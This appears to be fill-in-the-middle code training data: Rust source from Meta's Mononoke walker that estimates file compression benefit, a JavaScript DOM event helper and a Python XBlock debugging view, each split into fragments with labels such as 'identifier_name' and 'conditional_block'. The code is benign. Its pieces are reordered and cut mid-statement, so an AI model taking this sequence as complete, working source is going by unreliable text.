self.raw == 0 { 0 } else { 100 * (self.raw - self.compressed) / self.raw } } } impl fmt::Display for SizingStats { fn fmt(&self, fmt: &mut fmt::Formatter) -> fmt::Result { write!( fmt, "{},{},{}%", self.raw, self.compressed, self.compression_benefit_pct() )
} } fn try_compress(raw_data: &Bytes, compressor_type: CompressorType) -> Result<SizingStats, Error> { let raw = raw_data.len() as u64; let compressed_buf = MeteredWrite::new(Cursor::new(Vec::with_capacity(4 * 1024))); let mut compressor = Compressor::new(compressed_buf, compressor_type); compressor.write_all(raw_data)?; let compressed_buf = compressor.try_finish().map_err(|(_encoder, e)| e)?; // Assume we wouldn't compress if its bigger let compressed = min(raw, compressed_buf.total_thru()); Ok(SizingStats { raw, compressed }) } // Force load of leaf data and check compression ratio fn size_sampling_stream<InStream, InStats>( scheduled_max: usize, s: InStream, compressor_type: CompressorType, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, ) -> impl Stream<Item = Result<(Node, Option<NodeData>, Option<SizingStats>), Error>> where InStream: Stream< Item = Result< ( WalkKeyOptPath<WrappedPath>, Option<NodeData>, Option<InStats>, ), Error, >, > + 'static + Send, InStats: 'static + Send, { s.map_ok(move |(walk_key, data_opt, _stats_opt)| { match (&walk_key.node, data_opt) { (Node::FileContent(_content_id), Some(NodeData::FileContent(fc))) if sampler.is_sampling(&walk_key.node) => { match fc { FileContentData::Consumed(_num_loaded_bytes) => { future::ok(_num_loaded_bytes).left_future() } // Consume the stream to make sure we loaded all blobs FileContentData::ContentStream(file_bytes_stream) => file_bytes_stream .try_fold(0, |acc, file_bytes| future::ok(acc + file_bytes.size())) .right_future(), } .and_then({ cloned!(sampler); move |fs_stream_size| { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample.data.values().try_fold( SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type) .map(|sizes| acc + sizes) }, ) }) .transpose(); future::ready(sizes.map(|sizes| { // Report the filestore stream's bytes size in the Consumed node ( walk_key.node, Some(NodeData::FileContent(FileContentData::Consumed( fs_stream_size, ))), sizes, ) })) } }) .left_future() } (_, data_opt) => { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample .data .values() .try_fold(SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type).map(|sizes| acc + sizes) }) }) .transpose(); future::ready(sizes.map(|sizes| (walk_key.node, data_opt, sizes))).right_future() } } }) .try_buffer_unordered(scheduled_max) } impl ProgressStateCountByType<SizingStats, SizingStats> { pub fn report_progress_log(&mut self, delta_time: Option<Duration>) { let summary_by_type: HashMap<NodeType, SizingStats> = self .work_stats .stats_by_type .iter() .map(|(k, (_i, v))| (*k, *v)) .collect(); let new_summary = summary_by_type .values() .fold(SizingStats::default(), |acc, v| acc + *v); let delta_summary = new_summary - self.reporting_stats.last_summary; let def = SizingStats::default(); let detail = &self .params .types_sorted_by_name .iter() .map(|t| { let s = summary_by_type.get(t).unwrap_or(&def); format!("{}:{}", t, s) }) .collect::<Vec<_>>() .join(" "); let (delta_s, delta_summary_per_s) = delta_time.map_or((0, SizingStats::default()), |delta_time| { ( delta_time.as_secs(), delta_summary * 1000 / (delta_time.as_millis() as u64), ) }); let total_time = self .reporting_stats .last_update .duration_since(self.reporting_stats.start_time); let total_summary_per_s = if total_time.as_millis() > 0 { new_summary * 1000 / (total_time.as_millis() as u64) } else { SizingStats::default() }; info!( self.params.logger, "Raw/s,Compressed/s,Raw,Compressed,%Saving; Delta {:06}/s,{:06}/s,{},{}s; Run {:06}/s,{:06}/s,{},{}s; Type:Raw,Compressed,%Saving {}", delta_summary_per_s.raw, delta_summary_per_s.compressed, delta_summary, delta_s, total_summary_per_s.raw, total_summary_per_s.compressed, new_summary, total_time.as_secs(), detail, ); self.reporting_stats.last_summary_by_type = summary_by_type; self.reporting_stats.last_summary = new_summary; } } impl ProgressReporterUnprotected for ProgressStateCountByType<SizingStats, SizingStats> { fn report_progress(&mut self) { self.report_progress_log(None); } fn report_throttled(&mut self) { if let Some(delta_time) = self.should_log_throttled() { self.report_progress_log(Some(delta_time)); } } } #[derive(Debug)] pub struct SizingSample { pub data: HashMap<String, BlobstoreBytes>, } impl Default for SizingSample { fn default() -> Self { Self { data: HashMap::with_capacity(1), } } } impl SamplingHandler for WalkSampleMapping<Node, SizingSample> { fn sample_get( &self, ctx: &CoreContext, key: &str, value: Option<&BlobstoreGetData>, ) -> Result<(), Error> { ctx.sampling_key().map(|sampling_key| { self.inflight().get_mut(sampling_key).map(|mut guard| { value.map(|value| guard.data.insert(key.to_owned(), value.as_bytes().clone())) }) }); Ok(()) } } #[derive(Clone)] pub struct SizingCommand { compression_level: i32, progress_options: ProgressOptions, sampling_options: SamplingOptions, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, } impl SizingCommand { fn apply_repo(&mut self, repo_params: &RepoWalkParams) { self.sampling_options .retain_or_default(&repo_params.include_node_types); } } pub async fn parse_args<'a>( fb: FacebookInit, logger: Logger, matches: &'a MononokeMatches<'a>, sub_m: &'a ArgMatches<'a>, ) -> Result<(JobParams, SizingCommand), Error> { let sampler = Arc::new(WalkSampleMapping::<Node, SizingSample>::new()); let job_params = setup_common( COMPRESSION_BENEFIT, fb, &logger, Some(sampler.clone()), None, matches, sub_m, ) .await?; let command = SizingCommand { compression_level: args::get_i32_opt(&sub_m, COMPRESSION_LEVEL_ARG).unwrap_or(3), progress_options: parse_progress_args(&sub_m), sampling_options: parse_sampling_args(&sub_m, 100)?, sampler, }; Ok((job_params, command)) } // Subcommand entry point for estimate of file compression benefit pub async fn compression_benefit( fb: FacebookInit, job_params: JobParams, command: SizingCommand, ) -> Result<(), Error> { let JobParams { walk_params, per_repo, } = job_params; let mut all_walks = Vec::new(); for (sub_params, repo_params) in per_repo { cloned!(mut command, walk_params); command.apply_repo(&repo_params); let walk = run_one(fb, walk_params, sub_params, repo_params, command); all_walks.push(walk); } try_join_all(all_walks).await.map(|_| ()) } async fn run_one( fb: FacebookInit, job_params: JobWalkParams, sub_params: RepoSubcommandParams, repo_params: RepoWalkParams, command: SizingCommand, ) -> Result<(), Error> { let sizing_progress_state = ProgressStateMutex::new(ProgressStateCountByType::<SizingStats, SizingStats>::new( fb, repo_params.logger.clone(), COMPRESSION_BENEFIT, repo_params.repo.name().clone(), command.sampling_options.node_types.clone(), command.progress_options, )); let make_sink = { cloned!(command, job_params.quiet, sub_params.progress_state,); move |ctx: &CoreContext, repo_params: &RepoWalkParams| { cloned!(ctx, repo_params.scheduled_max); async move |walk_output, _run_start, _chunk_num, _checkpoint_name| { cloned!(ctx, sizing_progress_state); // Sizing doesn't use mtime, so remove it from payload let walk_progress = progress_stream(quiet, &progress_state, walk_output).map_ok( |(key, payload, stats): (_, WalkPayloadMtime, _)| (key, payload.data, stats), ); let compressor = size_sampling_stream( scheduled_max, walk_progress, CompressorType::Zstd { level: command.compression_level, }, command.sampler, ); let report_sizing = progress_stream(quiet, &sizing_progress_state, compressor); report_state(ctx, report_sizing).await?; sizing_progress_state.report_progress(); progress_state.report_progress(); Ok(()) } } }; let walk_state = SamplingWalkVisitor::new( repo_params.include_node_types.clone(), repo_params.include_edge_types.clone(), command.sampling_options, None, command.sampler, job_params.enable_derive, sub_params .tail_params .chunking .as_ref() .map(|v| v.direction), ); let type_params = RepoWalkTypeParams { required_node_data_types: hashset![NodeType::FileContent], always_emit_edge_types: HashSet::new(), keep_edge_paths: true, }; walk_exact_tail::<_, _, _, _, _, PathTrackingRoute<WrappedPath>>( fb, job_params, repo_params, type_params, sub_params.tail_params, walk_state, make_sink, ) .await }
random_line_split
sizing.rs
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This software may be used and distributed according to the terms of the * GNU General Public License version 2. */ use crate::graph::{FileContentData, Node, NodeData, NodeType, WrappedPath}; use crate::progress::{ progress_stream, report_state, ProgressOptions, ProgressReporter, ProgressReporterUnprotected, ProgressStateCountByType, ProgressStateMutex, }; use crate::sampling::{ PathTrackingRoute, SamplingOptions, SamplingWalkVisitor, WalkKeyOptPath, WalkPayloadMtime, WalkSampleMapping, }; use crate::setup::{ parse_progress_args, parse_sampling_args, setup_common, JobParams, JobWalkParams, RepoSubcommandParams, COMPRESSION_BENEFIT, COMPRESSION_LEVEL_ARG, }; use crate::tail::walk_exact_tail; use crate::walk::{RepoWalkParams, RepoWalkTypeParams}; use anyhow::Error; use async_compression::{metered::MeteredWrite, Compressor, CompressorType}; use blobstore::BlobstoreGetData; use bytes::Bytes; use clap_old::ArgMatches; use cloned::cloned; use cmdlib::args::{self, MononokeMatches}; use context::CoreContext; use derive_more::{Add, Div, Mul, Sub}; use fbinit::FacebookInit; use futures::{ future::{self, try_join_all, FutureExt, TryFutureExt}, stream::{Stream, TryStreamExt}, }; use maplit::hashset; use mononoke_types::BlobstoreBytes; use samplingblob::SamplingHandler; use slog::{info, Logger}; use std::{ cmp::min, collections::{HashMap, HashSet}, fmt, io::{Cursor, Write}, sync::Arc, time::Duration, }; #[derive(Add, Div, Mul, Sub, Clone, Copy, Default, Debug)] struct SizingStats { raw: u64, compressed: u64, } impl SizingStats { fn compression_benefit_pct(&self) -> u64 { if self.raw == 0 { 0 } else { 100 * (self.raw - self.compressed) / self.raw } } } impl fmt::Display for SizingStats { fn fmt(&self, fmt: &mut fmt::Formatter) -> fmt::Result { write!( fmt, "{},{},{}%", self.raw, self.compressed, self.compression_benefit_pct() ) } } fn try_compress(raw_data: &Bytes, compressor_type: CompressorType) -> Result<SizingStats, Error> { let raw = raw_data.len() as u64; let compressed_buf = MeteredWrite::new(Cursor::new(Vec::with_capacity(4 * 1024))); let mut compressor = Compressor::new(compressed_buf, compressor_type); compressor.write_all(raw_data)?; let compressed_buf = compressor.try_finish().map_err(|(_encoder, e)| e)?; // Assume we wouldn't compress if its bigger let compressed = min(raw, compressed_buf.total_thru()); Ok(SizingStats { raw, compressed }) } // Force load of leaf data and check compression ratio fn size_sampling_stream<InStream, InStats>( scheduled_max: usize, s: InStream, compressor_type: CompressorType, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, ) -> impl Stream<Item = Result<(Node, Option<NodeData>, Option<SizingStats>), Error>> where InStream: Stream< Item = Result< ( WalkKeyOptPath<WrappedPath>, Option<NodeData>, Option<InStats>, ), Error, >, > + 'static + Send, InStats: 'static + Send, { s.map_ok(move |(walk_key, data_opt, _stats_opt)| { match (&walk_key.node, data_opt) { (Node::FileContent(_content_id), Some(NodeData::FileContent(fc))) if sampler.is_sampling(&walk_key.node) => { match fc { FileContentData::Consumed(_num_loaded_bytes) => { future::ok(_num_loaded_bytes).left_future() } // Consume the stream to make sure we loaded all blobs FileContentData::ContentStream(file_bytes_stream) => file_bytes_stream .try_fold(0, |acc, file_bytes| future::ok(acc + file_bytes.size())) .right_future(), } .and_then({ cloned!(sampler); move |fs_stream_size| { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample.data.values().try_fold( SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type) .map(|sizes| acc + sizes) }, ) }) .transpose(); future::ready(sizes.map(|sizes| { // Report the filestore stream's bytes size in the Consumed node ( walk_key.node, Some(NodeData::FileContent(FileContentData::Consumed( fs_stream_size, ))), sizes, ) })) } }) .left_future() } (_, data_opt) => { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample .data .values() .try_fold(SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type).map(|sizes| acc + sizes) }) }) .transpose(); future::ready(sizes.map(|sizes| (walk_key.node, data_opt, sizes))).right_future() } } }) .try_buffer_unordered(scheduled_max) } impl ProgressStateCountByType<SizingStats, SizingStats> { pub fn report_progress_log(&mut self, delta_time: Option<Duration>) { let summary_by_type: HashMap<NodeType, SizingStats> = self .work_stats .stats_by_type .iter() .map(|(k, (_i, v))| (*k, *v)) .collect(); let new_summary = summary_by_type .values() .fold(SizingStats::default(), |acc, v| acc + *v); let delta_summary = new_summary - self.reporting_stats.last_summary; let def = SizingStats::default(); let detail = &self .params .types_sorted_by_name .iter() .map(|t| { let s = summary_by_type.get(t).unwrap_or(&def); format!("{}:{}", t, s) }) .collect::<Vec<_>>() .join(" "); let (delta_s, delta_summary_per_s) = delta_time.map_or((0, SizingStats::default()), |delta_time| { ( delta_time.as_secs(), delta_summary * 1000 / (delta_time.as_millis() as u64), ) }); let total_time = self .reporting_stats .last_update .duration_since(self.reporting_stats.start_time); let total_summary_per_s = if total_time.as_millis() > 0 { new_summary * 1000 / (total_time.as_millis() as u64) } else { SizingStats::default() }; info!( self.params.logger, "Raw/s,Compressed/s,Raw,Compressed,%Saving; Delta {:06}/s,{:06}/s,{},{}s; Run {:06}/s,{:06}/s,{},{}s; Type:Raw,Compressed,%Saving {}", delta_summary_per_s.raw, delta_summary_per_s.compressed, delta_summary, delta_s, total_summary_per_s.raw, total_summary_per_s.compressed, new_summary, total_time.as_secs(), detail, ); self.reporting_stats.last_summary_by_type = summary_by_type; self.reporting_stats.last_summary = new_summary; } } impl ProgressReporterUnprotected for ProgressStateCountByType<SizingStats, SizingStats> { fn report_progress(&mut self) { self.report_progress_log(None); } fn
(&mut self) { if let Some(delta_time) = self.should_log_throttled() { self.report_progress_log(Some(delta_time)); } } } #[derive(Debug)] pub struct SizingSample { pub data: HashMap<String, BlobstoreBytes>, } impl Default for SizingSample { fn default() -> Self { Self { data: HashMap::with_capacity(1), } } } impl SamplingHandler for WalkSampleMapping<Node, SizingSample> { fn sample_get( &self, ctx: &CoreContext, key: &str, value: Option<&BlobstoreGetData>, ) -> Result<(), Error> { ctx.sampling_key().map(|sampling_key| { self.inflight().get_mut(sampling_key).map(|mut guard| { value.map(|value| guard.data.insert(key.to_owned(), value.as_bytes().clone())) }) }); Ok(()) } } #[derive(Clone)] pub struct SizingCommand { compression_level: i32, progress_options: ProgressOptions, sampling_options: SamplingOptions, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, } impl SizingCommand { fn apply_repo(&mut self, repo_params: &RepoWalkParams) { self.sampling_options .retain_or_default(&repo_params.include_node_types); } } pub async fn parse_args<'a>( fb: FacebookInit, logger: Logger, matches: &'a MononokeMatches<'a>, sub_m: &'a ArgMatches<'a>, ) -> Result<(JobParams, SizingCommand), Error> { let sampler = Arc::new(WalkSampleMapping::<Node, SizingSample>::new()); let job_params = setup_common( COMPRESSION_BENEFIT, fb, &logger, Some(sampler.clone()), None, matches, sub_m, ) .await?; let command = SizingCommand { compression_level: args::get_i32_opt(&sub_m, COMPRESSION_LEVEL_ARG).unwrap_or(3), progress_options: parse_progress_args(&sub_m), sampling_options: parse_sampling_args(&sub_m, 100)?, sampler, }; Ok((job_params, command)) } // Subcommand entry point for estimate of file compression benefit pub async fn compression_benefit( fb: FacebookInit, job_params: JobParams, command: SizingCommand, ) -> Result<(), Error> { let JobParams { walk_params, per_repo, } = job_params; let mut all_walks = Vec::new(); for (sub_params, repo_params) in per_repo { cloned!(mut command, walk_params); command.apply_repo(&repo_params); let walk = run_one(fb, walk_params, sub_params, repo_params, command); all_walks.push(walk); } try_join_all(all_walks).await.map(|_| ()) } async fn run_one( fb: FacebookInit, job_params: JobWalkParams, sub_params: RepoSubcommandParams, repo_params: RepoWalkParams, command: SizingCommand, ) -> Result<(), Error> { let sizing_progress_state = ProgressStateMutex::new(ProgressStateCountByType::<SizingStats, SizingStats>::new( fb, repo_params.logger.clone(), COMPRESSION_BENEFIT, repo_params.repo.name().clone(), command.sampling_options.node_types.clone(), command.progress_options, )); let make_sink = { cloned!(command, job_params.quiet, sub_params.progress_state,); move |ctx: &CoreContext, repo_params: &RepoWalkParams| { cloned!(ctx, repo_params.scheduled_max); async move |walk_output, _run_start, _chunk_num, _checkpoint_name| { cloned!(ctx, sizing_progress_state); // Sizing doesn't use mtime, so remove it from payload let walk_progress = progress_stream(quiet, &progress_state, walk_output).map_ok( |(key, payload, stats): (_, WalkPayloadMtime, _)| (key, payload.data, stats), ); let compressor = size_sampling_stream( scheduled_max, walk_progress, CompressorType::Zstd { level: command.compression_level, }, command.sampler, ); let report_sizing = progress_stream(quiet, &sizing_progress_state, compressor); report_state(ctx, report_sizing).await?; sizing_progress_state.report_progress(); progress_state.report_progress(); Ok(()) } } }; let walk_state = SamplingWalkVisitor::new( repo_params.include_node_types.clone(), repo_params.include_edge_types.clone(), command.sampling_options, None, command.sampler, job_params.enable_derive, sub_params .tail_params .chunking .as_ref() .map(|v| v.direction), ); let type_params = RepoWalkTypeParams { required_node_data_types: hashset![NodeType::FileContent], always_emit_edge_types: HashSet::new(), keep_edge_paths: true, }; walk_exact_tail::<_, _, _, _, _, PathTrackingRoute<WrappedPath>>( fb, job_params, repo_params, type_params, sub_params.tail_params, walk_state, make_sink, ) .await }
report_throttled
identifier_name
sizing.rs
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This software may be used and distributed according to the terms of the * GNU General Public License version 2. */ use crate::graph::{FileContentData, Node, NodeData, NodeType, WrappedPath}; use crate::progress::{ progress_stream, report_state, ProgressOptions, ProgressReporter, ProgressReporterUnprotected, ProgressStateCountByType, ProgressStateMutex, }; use crate::sampling::{ PathTrackingRoute, SamplingOptions, SamplingWalkVisitor, WalkKeyOptPath, WalkPayloadMtime, WalkSampleMapping, }; use crate::setup::{ parse_progress_args, parse_sampling_args, setup_common, JobParams, JobWalkParams, RepoSubcommandParams, COMPRESSION_BENEFIT, COMPRESSION_LEVEL_ARG, }; use crate::tail::walk_exact_tail; use crate::walk::{RepoWalkParams, RepoWalkTypeParams}; use anyhow::Error; use async_compression::{metered::MeteredWrite, Compressor, CompressorType}; use blobstore::BlobstoreGetData; use bytes::Bytes; use clap_old::ArgMatches; use cloned::cloned; use cmdlib::args::{self, MononokeMatches}; use context::CoreContext; use derive_more::{Add, Div, Mul, Sub}; use fbinit::FacebookInit; use futures::{ future::{self, try_join_all, FutureExt, TryFutureExt}, stream::{Stream, TryStreamExt}, }; use maplit::hashset; use mononoke_types::BlobstoreBytes; use samplingblob::SamplingHandler; use slog::{info, Logger}; use std::{ cmp::min, collections::{HashMap, HashSet}, fmt, io::{Cursor, Write}, sync::Arc, time::Duration, }; #[derive(Add, Div, Mul, Sub, Clone, Copy, Default, Debug)] struct SizingStats { raw: u64, compressed: u64, } impl SizingStats { fn compression_benefit_pct(&self) -> u64 { if self.raw == 0 { 0 } else { 100 * (self.raw - self.compressed) / self.raw } } } impl fmt::Display for SizingStats { fn fmt(&self, fmt: &mut fmt::Formatter) -> fmt::Result { write!( fmt, "{},{},{}%", self.raw, self.compressed, self.compression_benefit_pct() ) } } fn try_compress(raw_data: &Bytes, compressor_type: CompressorType) -> Result<SizingStats, Error> { let raw = raw_data.len() as u64; let compressed_buf = MeteredWrite::new(Cursor::new(Vec::with_capacity(4 * 1024))); let mut compressor = Compressor::new(compressed_buf, compressor_type); compressor.write_all(raw_data)?; let compressed_buf = compressor.try_finish().map_err(|(_encoder, e)| e)?; // Assume we wouldn't compress if its bigger let compressed = min(raw, compressed_buf.total_thru()); Ok(SizingStats { raw, compressed }) } // Force load of leaf data and check compression ratio fn size_sampling_stream<InStream, InStats>( scheduled_max: usize, s: InStream, compressor_type: CompressorType, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, ) -> impl Stream<Item = Result<(Node, Option<NodeData>, Option<SizingStats>), Error>> where InStream: Stream< Item = Result< ( WalkKeyOptPath<WrappedPath>, Option<NodeData>, Option<InStats>, ), Error, >, > + 'static + Send, InStats: 'static + Send, { s.map_ok(move |(walk_key, data_opt, _stats_opt)| { match (&walk_key.node, data_opt) { (Node::FileContent(_content_id), Some(NodeData::FileContent(fc))) if sampler.is_sampling(&walk_key.node) =>
(_, data_opt) => { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample .data .values() .try_fold(SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type).map(|sizes| acc + sizes) }) }) .transpose(); future::ready(sizes.map(|sizes| (walk_key.node, data_opt, sizes))).right_future() } } }) .try_buffer_unordered(scheduled_max) } impl ProgressStateCountByType<SizingStats, SizingStats> { pub fn report_progress_log(&mut self, delta_time: Option<Duration>) { let summary_by_type: HashMap<NodeType, SizingStats> = self .work_stats .stats_by_type .iter() .map(|(k, (_i, v))| (*k, *v)) .collect(); let new_summary = summary_by_type .values() .fold(SizingStats::default(), |acc, v| acc + *v); let delta_summary = new_summary - self.reporting_stats.last_summary; let def = SizingStats::default(); let detail = &self .params .types_sorted_by_name .iter() .map(|t| { let s = summary_by_type.get(t).unwrap_or(&def); format!("{}:{}", t, s) }) .collect::<Vec<_>>() .join(" "); let (delta_s, delta_summary_per_s) = delta_time.map_or((0, SizingStats::default()), |delta_time| { ( delta_time.as_secs(), delta_summary * 1000 / (delta_time.as_millis() as u64), ) }); let total_time = self .reporting_stats .last_update .duration_since(self.reporting_stats.start_time); let total_summary_per_s = if total_time.as_millis() > 0 { new_summary * 1000 / (total_time.as_millis() as u64) } else { SizingStats::default() }; info!( self.params.logger, "Raw/s,Compressed/s,Raw,Compressed,%Saving; Delta {:06}/s,{:06}/s,{},{}s; Run {:06}/s,{:06}/s,{},{}s; Type:Raw,Compressed,%Saving {}", delta_summary_per_s.raw, delta_summary_per_s.compressed, delta_summary, delta_s, total_summary_per_s.raw, total_summary_per_s.compressed, new_summary, total_time.as_secs(), detail, ); self.reporting_stats.last_summary_by_type = summary_by_type; self.reporting_stats.last_summary = new_summary; } } impl ProgressReporterUnprotected for ProgressStateCountByType<SizingStats, SizingStats> { fn report_progress(&mut self) { self.report_progress_log(None); } fn report_throttled(&mut self) { if let Some(delta_time) = self.should_log_throttled() { self.report_progress_log(Some(delta_time)); } } } #[derive(Debug)] pub struct SizingSample { pub data: HashMap<String, BlobstoreBytes>, } impl Default for SizingSample { fn default() -> Self { Self { data: HashMap::with_capacity(1), } } } impl SamplingHandler for WalkSampleMapping<Node, SizingSample> { fn sample_get( &self, ctx: &CoreContext, key: &str, value: Option<&BlobstoreGetData>, ) -> Result<(), Error> { ctx.sampling_key().map(|sampling_key| { self.inflight().get_mut(sampling_key).map(|mut guard| { value.map(|value| guard.data.insert(key.to_owned(), value.as_bytes().clone())) }) }); Ok(()) } } #[derive(Clone)] pub struct SizingCommand { compression_level: i32, progress_options: ProgressOptions, sampling_options: SamplingOptions, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, } impl SizingCommand { fn apply_repo(&mut self, repo_params: &RepoWalkParams) { self.sampling_options .retain_or_default(&repo_params.include_node_types); } } pub async fn parse_args<'a>( fb: FacebookInit, logger: Logger, matches: &'a MononokeMatches<'a>, sub_m: &'a ArgMatches<'a>, ) -> Result<(JobParams, SizingCommand), Error> { let sampler = Arc::new(WalkSampleMapping::<Node, SizingSample>::new()); let job_params = setup_common( COMPRESSION_BENEFIT, fb, &logger, Some(sampler.clone()), None, matches, sub_m, ) .await?; let command = SizingCommand { compression_level: args::get_i32_opt(&sub_m, COMPRESSION_LEVEL_ARG).unwrap_or(3), progress_options: parse_progress_args(&sub_m), sampling_options: parse_sampling_args(&sub_m, 100)?, sampler, }; Ok((job_params, command)) } // Subcommand entry point for estimate of file compression benefit pub async fn compression_benefit( fb: FacebookInit, job_params: JobParams, command: SizingCommand, ) -> Result<(), Error> { let JobParams { walk_params, per_repo, } = job_params; let mut all_walks = Vec::new(); for (sub_params, repo_params) in per_repo { cloned!(mut command, walk_params); command.apply_repo(&repo_params); let walk = run_one(fb, walk_params, sub_params, repo_params, command); all_walks.push(walk); } try_join_all(all_walks).await.map(|_| ()) } async fn run_one( fb: FacebookInit, job_params: JobWalkParams, sub_params: RepoSubcommandParams, repo_params: RepoWalkParams, command: SizingCommand, ) -> Result<(), Error> { let sizing_progress_state = ProgressStateMutex::new(ProgressStateCountByType::<SizingStats, SizingStats>::new( fb, repo_params.logger.clone(), COMPRESSION_BENEFIT, repo_params.repo.name().clone(), command.sampling_options.node_types.clone(), command.progress_options, )); let make_sink = { cloned!(command, job_params.quiet, sub_params.progress_state,); move |ctx: &CoreContext, repo_params: &RepoWalkParams| { cloned!(ctx, repo_params.scheduled_max); async move |walk_output, _run_start, _chunk_num, _checkpoint_name| { cloned!(ctx, sizing_progress_state); // Sizing doesn't use mtime, so remove it from payload let walk_progress = progress_stream(quiet, &progress_state, walk_output).map_ok( |(key, payload, stats): (_, WalkPayloadMtime, _)| (key, payload.data, stats), ); let compressor = size_sampling_stream( scheduled_max, walk_progress, CompressorType::Zstd { level: command.compression_level, }, command.sampler, ); let report_sizing = progress_stream(quiet, &sizing_progress_state, compressor); report_state(ctx, report_sizing).await?; sizing_progress_state.report_progress(); progress_state.report_progress(); Ok(()) } } }; let walk_state = SamplingWalkVisitor::new( repo_params.include_node_types.clone(), repo_params.include_edge_types.clone(), command.sampling_options, None, command.sampler, job_params.enable_derive, sub_params .tail_params .chunking .as_ref() .map(|v| v.direction), ); let type_params = RepoWalkTypeParams { required_node_data_types: hashset![NodeType::FileContent], always_emit_edge_types: HashSet::new(), keep_edge_paths: true, }; walk_exact_tail::<_, _, _, _, _, PathTrackingRoute<WrappedPath>>( fb, job_params, repo_params, type_params, sub_params.tail_params, walk_state, make_sink, ) .await }
{ match fc { FileContentData::Consumed(_num_loaded_bytes) => { future::ok(_num_loaded_bytes).left_future() } // Consume the stream to make sure we loaded all blobs FileContentData::ContentStream(file_bytes_stream) => file_bytes_stream .try_fold(0, |acc, file_bytes| future::ok(acc + file_bytes.size())) .right_future(), } .and_then({ cloned!(sampler); move |fs_stream_size| { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample.data.values().try_fold( SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type) .map(|sizes| acc + sizes) }, ) }) .transpose(); future::ready(sizes.map(|sizes| { // Report the filestore stream's bytes size in the Consumed node ( walk_key.node, Some(NodeData::FileContent(FileContentData::Consumed( fs_stream_size, ))), sizes, ) })) } }) .left_future() }
conditional_block
Events.js
'use strict'; var canUseDOM = require('./canUseDOM'); var one = function() { }; var on = function() { }; var off = function() { }; if (canUseDOM)
module.exports = { one: one, on: on, off: off };
{ var bind = window.addEventListener ? 'addEventListener' : 'attachEvent'; var unbind = window.removeEventListener ? 'removeEventListener' : 'detachEvent'; var prefix = bind !== 'addEventListener' ? 'on' : ''; one = function(node, eventNames, eventListener) { var typeArray = eventNames.split(' '); var recursiveFunction = function(e) { e.target.removeEventListener(e.type, recursiveFunction); return eventListener(e); }; for (var i = typeArray.length - 1; i >= 0; i--) { this.on(node, typeArray[i], recursiveFunction); } }; /** * Bind `node` event `eventName` to `eventListener`. * * @param {Element} node * @param {String} eventName * @param {Function} eventListener * @param {Boolean} capture * @return {Obejct} * @api public */ on = function(node, eventName, eventListener, capture) { node[bind](prefix + eventName, eventListener, capture || false); return { off: function() { node[unbind](prefix + eventName, eventListener, capture || false); } }; } /** * Unbind `node` event `eventName`'s callback `eventListener`. * * @param {Element} node * @param {String} eventName * @param {Function} eventListener * @param {Boolean} capture * @return {Function} * @api public */ off = function(node, eventName, eventListener, capture) { node[unbind](prefix + eventName, eventListener, capture || false); return eventListener; }; }
conditional_block
Events.js
'use strict'; var canUseDOM = require('./canUseDOM'); var one = function() { }; var on = function() { }; var off = function() { }; if (canUseDOM) { var bind = window.addEventListener ? 'addEventListener' : 'attachEvent'; var unbind = window.removeEventListener ? 'removeEventListener' : 'detachEvent'; var prefix = bind !== 'addEventListener' ? 'on' : ''; one = function(node, eventNames, eventListener) {
for (var i = typeArray.length - 1; i >= 0; i--) { this.on(node, typeArray[i], recursiveFunction); } }; /** * Bind `node` event `eventName` to `eventListener`. * * @param {Element} node * @param {String} eventName * @param {Function} eventListener * @param {Boolean} capture * @return {Obejct} * @api public */ on = function(node, eventName, eventListener, capture) { node[bind](prefix + eventName, eventListener, capture || false); return { off: function() { node[unbind](prefix + eventName, eventListener, capture || false); } }; } /** * Unbind `node` event `eventName`'s callback `eventListener`. * * @param {Element} node * @param {String} eventName * @param {Function} eventListener * @param {Boolean} capture * @return {Function} * @api public */ off = function(node, eventName, eventListener, capture) { node[unbind](prefix + eventName, eventListener, capture || false); return eventListener; }; } module.exports = { one: one, on: on, off: off };
var typeArray = eventNames.split(' '); var recursiveFunction = function(e) { e.target.removeEventListener(e.type, recursiveFunction); return eventListener(e); };
random_line_split
blocks.py
"""An XBlock to use as a child when you don't care what child to show. This code is in the Workbench layer. """ from web_fragments.fragment import Fragment from xblock.core import XBlock from .util import make_safe_for_html class DebuggingChildBlock(XBlock): """A simple gray box, to use as a child placeholder.""" def
(self, view_name, context=None): # pylint: disable=W0613 """Provides a fallback view handler""" frag = Fragment("<div class='debug_child'>%s<br>%s</div>" % (make_safe_for_html(repr(self)), view_name)) frag.add_css(""" .debug_child { background-color: grey; width: 300px; height: 100px; margin: 10px; padding: 5px 10px; font-size: 75%; } """) return frag
fallback_view
identifier_name
blocks.py
